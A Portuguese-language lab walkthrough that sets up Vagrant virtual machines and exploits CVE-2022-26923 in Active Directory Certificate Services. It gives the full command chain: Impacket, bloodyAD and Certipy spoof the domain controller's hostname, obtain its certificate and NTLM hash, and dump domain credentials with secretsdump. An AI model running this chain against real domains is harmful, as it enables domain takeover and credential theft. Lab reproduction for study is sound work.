Explorando CVE-2022-26923: Elevação de Privilégio na Autoridade Certificadora

Visão Geral

CVE-2022-26923 é uma vulnerabilidade nos Serviços de Certificados do Active Directory (AD CS) que permite a um atacante elevar privilégios ao usar indevidamente a autenticação baseada em certificados. Este guia descreve as etapas para explorar essa vulnerabilidade usando Impacket e Certipy.

Tabela de Credenciais

Etapa 1: Clonar o Repositório e Configurar Máquinas Virtuais

Primeiro, clone o repositório contendo os arquivos necessários:

git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng

Configurar Máquinas Virtuais

O repositório contém duas pastas, cada uma com um Vagrantfile para provisionar máquinas virtuais. Você deve instalar o Vagrant na sua máquina host antes de continuar.

Instalar o Vagrant

Para Windows

Baixe e instale o Vagrant aqui. Ou instale usando o PowerShell:

choco install vagrant

Para Linux

sudo apt update && sudo apt install vagrant -y

VM Windows Server 2022

Navegue até o diretório WindowsServer2022:

cd WindowsServer2022
vagrant up

Isso fará o download e configurará a VM do Windows Server 2022 no VirtualBox.

VM Kali Linux

Navegue até o diretório Kali-LinuxVM:

cd Kali-LinuxVM
vagrant up

Etapa 2: Configurar a Rede Virtual

Como o exploit requer uma rede NAT, configure o VirtualBox da seguinte forma:

No Windows

Antes de executar o comando abaixo, certifique-se de que o VBoxManage está adicionado às suas variáveis de ambiente. Se não estiver, execute o comando usando o caminho completo:

Adicionando Rede NAT

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Se o VBoxManage não for reconhecido, use:

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

No Linux

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Certifique-se de verificar ambas as VMs no VirtualBox e garanta que elas estejam atribuídas ao adaptador de rede NatNetwork - NatNet1.

Você pode criar uma rede NAT com um nome diferente, mas ela deve estar no intervalo de IP 10.0.2.0/24.

Etapa 3: Modificar o Arquivo Hosts

Antes de continuar, certifique-se de que o Windows Server 2022 e a VM Kali Linux estejam ligados.

Acesse a VM Kali Linux para iniciar o ataque.

Atualize o arquivo /etc/hosts para mapear o IP do controlador de domínio:

sudo nano /etc/hosts

Adicione a seguinte entrada:

10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local

Salve e saia.

Etapa 4: Configurar o Ambiente

Navegue até o diretório CVE-26923 e ative o ambiente virtual Python:

cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate

Etapa 5: Adicionar um Computador ao Domínio

Usando o utilitário addcomputer do Impacket:

impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'

Etapa 6: Atribuir PCTEST1 ao Controlador de Domínio

Método 1: Usando SSH (se o OpenSSH estiver instalado no servidor de destino)

ssh [email protected]
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname

Método 2: Sem SSH (usando Impacket & BloodyAD)

Verifique os computadores do domínio:

impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121

Navegue até o diretório bloodyAD e use bloodyAD.py para adicionar PCTEST1 ao domínio:

cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'

Verifique se PCTEST1 foi atribuído ao domínio:

impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121

Etapa 7: Processo de Exploração

Encontrando Certificados Vulneráveis

Use Certipy para encontrar certificados vulneráveis:

certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'

Solicitando um Certificado

Solicite um certificado de máquina usando Certipy:

certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA

Autenticando com o Certificado

Autentique-se usando o certificado obtido:

certipy auth -pfx server2022.pfx

Etapa 8: Extraindo Hashes NTLM

Após executar o comando certipy auth, dois hashes serão exibidos. O hash do lado direito será usado para autenticação NTLM.

Exemplo de saída de hash:

aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7

Use o hash NTLM extraído para extrair credenciais:

impacket-secretsdump '[email protected]' -hashes :69079fd4946af567d682d61e121f29e7

Isso conclui a cadeia completa de ataque para explorar o CVE-2022-26923.